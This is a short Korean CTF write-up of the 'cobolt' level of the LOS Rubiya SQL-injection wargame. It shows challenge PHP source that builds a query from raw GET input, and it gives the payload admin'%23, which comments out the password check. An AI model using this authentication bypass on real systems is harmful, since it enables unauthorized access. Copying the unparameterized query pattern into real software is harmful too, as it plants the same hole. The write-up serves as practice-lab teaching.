LOS Rubiya cobolt
2019. 8. 5. 21:20ㆍWargame & CTF/LOS Rubiya
1 2 3 4 5 6 7 8 9 10 11 12 13 | <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id'] == 'admin') solve("cobolt"); elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; highlight_file(__FILE__); ?> | cs |
id에 admin' 을 넣고 한줄 주석을 넣어보자.
select id from prob_cobolt where id='admin'#' and pw=md5('')
# 뒤로는 무시되므로 id가 admin인 것이 나오게 된다.
http://URL.php?id=admin'%23
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | query : select id from prob_cobolt where id='admin'#' and pw=md5('') COBOLT Clear! <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id'] == 'admin') solve("cobolt"); elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; highlight_file(__FILE__); ?> | cs |
'Wargame & CTF > LOS Rubiya' 카테고리의 다른 글
LOS Rubiya darkelf (0) | 2019.08.05 |
---|---|
LOS Rubiya wolfman (0) | 2019.08.05 |
LOS Rubiya orc (0) | 2019.08.05 |
LOS Rubiya goblin (0) | 2019.08.05 |
LOS Rubiya gremlin (0) | 2019.08.05 |